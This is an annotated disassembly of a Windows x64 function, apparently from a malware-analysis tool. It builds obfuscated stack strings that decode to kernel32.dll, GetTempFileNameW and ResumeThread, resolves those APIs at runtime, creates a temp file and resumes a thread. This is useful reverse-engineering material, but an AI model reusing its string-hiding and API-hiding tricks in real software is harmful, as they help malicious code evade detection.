Function at 0x1d3b1cbf0
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x708
xor ebx, ebx
mov rax, rbx
mov r13, rcx
mov ecx, 0x41
lea rdi, [rsp + 0xd0]
mov r12, r9
rep stosq qword [rdi], rax
mov ecx, 0x41
mov r15, r8
lea rdi, [rsp + 0x2e0]
rep stosq qword [rdi], rax
lea rdi, [rsp + 0x2e0]
mov qword [rsp + 0x758], rdx
mov ecx, 0x104
mov rdx, rdi
lea rbp, [rsp + 0x4f0]
lea rsi, [rsp + 0xb0]
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
movzx eax, word [0x1d3bdc936]
mov ecx, 6
xor r8d, r8d
mov word [rsp + 0x40], cx
movdqa xmm0, xmmword [str.FdsSdloEhkdM_ldVjdqmdk21ResumeThicplcj10]
mov rcx, rsi
lea r14, [rsp + 0x82]
lea edx, [rax + 6]
movzx eax, word [0x1d3bdc938]
mov dword [rsp + 0x3c], 0x4d004e
mov word [rsp + 0x42], dx
movabs rdx, 0x56646c604d646b68
add eax, 6
mov word [rsp + 0x46], r8w
mov word [rsp + 0x44], ax
mov rax, qword [rsp + 0x3c]
movaps xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0x82], rax
mov eax, dword [rsp + 0x44]
mov byte [rsp + 0xa0], 0
mov dword [rsp + 0x8a], eax
movzx eax, word [rsp + 0x82]
sub eax, 6
mov word [rsp + 0x82], ax
movzx eax, word [rsp + 0x84]
sub eax, 6
mov word [rsp + 0x84], ax
movzx eax, word [rsp + 0x86]
sub eax, 6
mov word [rsp + 0x86], ax
movzx eax, word [rsp + 0x88]
sub eax, 6
mov word [rsp + 0x88], ax
movzx eax, word [rsp + 0x8a]
sub eax, 6
mov word [rsp + 0x8a], ax
movabs rax, 0x456f6c6453736446
mov qword [rsp + 0x4f0], rax
mov qword [rsp + 0x4f8], rdx
mov rdx, rbp
mov byte [rsp + 0x500], 0
movzx eax, byte [rsp + 0x4f0]
add eax, 1
mov byte [rsp + 0x4f0], al
movzx eax, byte [rsp + 0x4f1]
add eax, 1
mov byte [rsp + 0x4f1], al
movzx eax, byte [rsp + 0x4f2]
add eax, 1
mov byte [rsp + 0x4f2], al
movzx eax, byte [rsp + 0x4f3]
mov dword [rsp + 0x50], 0x6b6b632d
add eax, 1
mov byte [rsp + 0x54], 0
mov byte [rsp + 0x4f3], al
movzx eax, byte [rsp + 0x4f4]
add eax, 1
mov byte [rsp + 0x4f4], al
movzx eax, byte [rsp + 0x4f5]
add eax, 1
mov byte [rsp + 0x4f5], al
movzx eax, byte [rsp + 0x4f6]
add eax, 1
mov byte [rsp + 0x4f6], al
movzx eax, byte [rsp + 0x4f7]
add eax, 1
mov byte [rsp + 0x4f7], al
movzx eax, byte [rsp + 0x4f8]
add eax, 1
mov byte [rsp + 0x4f8], al
movzx eax, byte [rsp + 0x4f9]
add eax, 1
mov byte [rsp + 0x4f9], al
movzx eax, byte [rsp + 0x4fa]
add eax, 1
mov byte [rsp + 0x4fa], al
movzx eax, byte [rsp + 0x4fb]
add eax, 1
mov byte [rsp + 0x4fb], al
movzx eax, byte [rsp + 0x4fc]
add eax, 1
mov byte [rsp + 0x4fc], al
movzx eax, byte [rsp + 0x4fd]
add eax, 1
mov byte [rsp + 0x4fd], al
movzx eax, byte [rsp + 0x4fe]
add eax, 1
mov byte [rsp + 0x4fe], al
movzx eax, byte [rsp + 0x4ff]
add eax, 1
mov byte [rsp + 0x4ff], al
mov rax, qword [0x1d3bdc950]
mov qword [rsp + 0x48], rax
movabs rax, 0x31326b646d71646a
mov qword [rsp + 0xb0], rax
mov dword [rsp + 0xb8], 0x6b6b632d
mov byte [rsp + 0xbc], 0
movzx eax, byte [rsp + 0xb0]
add eax, 1
mov byte [rsp + 0xb0], al
movzx eax, byte [rsp + 0xb1]
add eax, 1
mov byte [rsp + 0xb1], al
movzx eax, byte [rsp + 0xb2]
add eax, 1
mov byte [rsp + 0xb2], al
movzx eax, byte [rsp + 0xb3]
add eax, 1
mov byte [rsp + 0xb3], al
movzx eax, byte [rsp + 0xb4]
add eax, 1
mov byte [rsp + 0xb4], al
movzx eax, byte [rsp + 0xb5]
add eax, 1
mov byte [rsp + 0xb5], al
movzx eax, byte [rsp + 0xb6]
add eax, 1
mov byte [rsp + 0xb6], al
movzx eax, byte [rsp + 0xb7]
add eax, 1
mov byte [rsp + 0xb7], al
movzx eax, byte [rsp + 0xb8]
add eax, 1
mov byte [rsp + 0xb8], al
movzx eax, byte [rsp + 0xb9]
add eax, 1
mov byte [rsp + 0xb9], al
movzx eax, byte [rsp + 0xba]
add eax, 1
mov byte [rsp + 0xba], al
movzx eax, byte [rsp + 0xbb]
add eax, 1
mov byte [rsp + 0xbb], al
call fcn.1d3ae6130
xor r8d, r8d
mov rdx, r14
mov rcx, rdi
lea r9, [rsp + 0xd0]
mov qword [rsp + 0x28], r9
call rax
mov r8d, dword [rsp + 0x770]
mov rcx, qword [rsp + 0x28]
mov rdx, r12
call fcn.1d3b1bee0
mov r10, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
jbe 0x1d3b1cff0
xor r12d, r12d
mov eax, r12d
add rsp, 0x708
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rax, rbx
mov ecx, 0x41
mov rdi, rbp
mov rdx, rbp
rep stosq qword [rdi], rax
mov r8d, 0x104
mov rcx, r15
mov qword [rsp + 0x28], r10
call fcn.1d3b19390
mov edx, 0x104
mov rcx, rbp
call fcn.1d3b2a6f0
mov r8, qword [rsp + 0x758]
mov rdx, r13
mov rcx, rsi
mov qword [rsp + 0xb0], 0
test rax, rax
mov qword [rsp + 0xb8], 0
cmovne rbx, rbp
mov qword [rsp + 0xc0], 0
mov r9, rbx
call fcn.1d3b17830
test al, al
je 0x1d3b1cfd6
mov rdx, qword [rsp + 0x28]
lea r8, [rsp + 0x30]
mov rcx, qword [rsp + 0xb0]
mov qword [rsp + 0x30], 0
call fcn.1d3b17ab0
mov r13, rax
test rax, rax
je 0x1d3b1cfd6
mov rcx, r12
call fcn.1d3b1a390
mov rcx, r12
mov r8, rsi
mov rdx, r13
xor eax, 1
movzx r9d, al
call fcn.1d3b1be30
mov r12d, eax
test al, al
je 0x1d3b1cfd6
mov rax, qword [0x1d3bdc958]
mov r13, qword [rsp + 0xb8]
mov byte [rsp + 0x64], 0
mov rdx, r14
mov dword [rsp + 0x60], 0x64616572
lea rcx, [rsp + 0x75]
mov qword [rsp + 0x58], rax
movabs rax, 0x6854656d75736552
mov qword [rsp + 0x82], rax
mov dword [rsp + 0x8a], 0x64616572
mov byte [rsp + 0x8e], 0
movzx eax, byte [rsp + 0x82]
mov byte [rsp + 0x82], al
movzx eax, byte [rsp + 0x83]
mov byte [rsp + 0x83], al
movzx eax, byte [rsp + 0x84]
mov byte [rsp + 0x84], al
movzx eax, byte [rsp + 0x85]
mov byte [rsp + 0x85], al
movzx eax, byte [rsp + 0x86]
mov byte [rsp + 0x86], al
movzx eax, byte [rsp + 0x87]
mov byte [rsp + 0x87], al
movzx eax, byte [rsp + 0x88]
mov byte [rsp + 0x88], al
movzx eax, byte [rsp + 0x89]
mov byte [rsp + 0x89], al
movzx eax, byte [rsp + 0x8a]
mov byte [rsp + 0x8a], al
movzx eax, byte [rsp + 0x8b]
mov byte [rsp + 0x8b], al
movzx eax, byte [rsp + 0x8c]
mov byte [rsp + 0x8c], al
movzx eax, byte [rsp + 0x8d]
mov byte [rsp + 0x8d], al
mov rax, qword [0x1d3bdc960]
mov dword [rsp + 0x70], 0x6a6a622c
mov qword [rsp + 0x68], rax
movabs rax, 0x30316a636c706369
mov qword [rsp + 0x75], rax
mov dword [rsp + 0x7d], 0x6a6a622c
mov byte [rsp + 0x81], 0
movzx eax, byte [rsp + 0x75]
mov byte [rsp + 0x74], 0
add eax, 2
mov byte [rsp + 0x75], al
movzx eax, byte [rsp + 0x76]
add eax, 2
mov byte [rsp + 0x76], al
movzx eax, byte [rsp + 0x77]
add eax, 2
mov byte [rsp + 0x77], al
movzx eax, byte [rsp + 0x78]
add eax, 2
mov byte [rsp + 0x78], al
movzx eax, byte [rsp + 0x79]
add eax, 2
mov byte [rsp + 0x79], al
movzx eax, byte [rsp + 0x7a]
add eax, 2
mov byte [rsp + 0x7a], al
movzx eax, byte [rsp + 0x7b]
add eax, 2
mov byte [rsp + 0x7b], al
movzx eax, byte [rsp + 0x7c]
add eax, 2
mov byte [rsp + 0x7c], al
movzx eax, byte [rsp + 0x7d]
add eax, 2
mov byte [rsp + 0x7d], al
movzx eax, byte [rsp + 0x7e]
add eax, 2
mov byte [rsp + 0x7e], al
movzx eax, byte [rsp + 0x7f]
add eax, 2
mov byte [rsp + 0x7f], al
movzx eax, byte [rsp + 0x80]
add eax, 2
mov byte [rsp + 0x80], al
call fcn.1d3ae6130
mov rcx, r13
call rax
jmp 0x1d3b1cfd9